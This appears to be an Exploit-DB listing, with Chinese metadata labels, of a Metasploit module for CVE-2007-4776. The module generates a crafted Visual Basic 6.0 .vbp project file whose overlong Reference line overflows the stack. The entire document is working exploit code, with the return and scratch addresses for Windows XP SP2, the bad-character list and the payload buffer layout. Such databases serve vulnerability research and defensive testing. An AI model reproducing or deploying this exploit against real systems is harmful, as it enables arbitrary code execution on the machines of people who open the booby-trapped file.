标题: Microsoft Visual Basic - '.VBP' Local Buffer Overflow (Metasploit) EDB-ID: 16680 CVE: 2007-4776 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Visual Basic VBP Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack oveflow in Microsoft Visual
    Basic 6.0. When a specially crafted vbp file containing a long
    reference line, an attacker may be able to execute arbitrary
    code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2007-4776' ],
     [ 'OSVDB', '36936' ],
     [ 'BID', '25629' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
     'DisableNops'   =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Sep 4 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.vbp']),
   ], self.class)
 end

 def exploit

  sploit =  rand_text_alpha_upper(496) + [target.ret].pack('V')
  sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
  sploit << make_nops(24) + payload.encoded

  vbp =  "Type=Exe\r\n"
  vbp << "Form=Form2.frm\r\n"
  vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
  vbp << sploit + "\r\n"
  vbp << "Startup=\"Form2\"\r\n"
  vbp << "Command32=\"\"\r\n"
  vbp << "Name=\"Project2\"\r\n"
  vbp << "HelpContextID=\"0\"\r\n"
  vbp << "CompatibleMode=\"0\"\r\n"
  vbp << "MajorVer=1\r\n"
  vbp << "MinorVer=0\r\n"
  vbp << "RevisionVer=0\r\n"
  vbp << "AutoIncrementVer=0\r\n"
  vbp << "ServerSupportFiles=0\r\n"
  vbp << "VersionCompanyName=\"\"\r\n"
  vbp << "CompilationType=0\r\n"
  vbp << "OptimizationType=0\r\n"
  vbp << "FavorPentiumPro(tm)=0\r\n"
  vbp << "CodeViewDebugInfo=0\r\n"
  vbp << "NoAliasing=0\r\n"
  vbp << "BoundsCheck=0\r\n"
  vbp << "OverflowCheck=0\r\n"
  vbp << "FlPointCheck=0\r\n"
  vbp << "FDIVCheck=0\r\n"
  vbp << "UnroundedFP=0\r\n"
  vbp << "StartMode=0\r\n"
  vbp << "Unattended=0\r\n"
  vbp << "Retained=0\r\n"
  vbp << "ThreadPerObject=0\r\n"
  vbp << "MaxNumberOfThreads=1\r\n"
  vbp << "[MS Transaction Server]\r\n"
  vbp << "AutoRefresh=1\r\n"

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(vbp)

 end

end URL: https://www.exploit-db.com/exploits/16680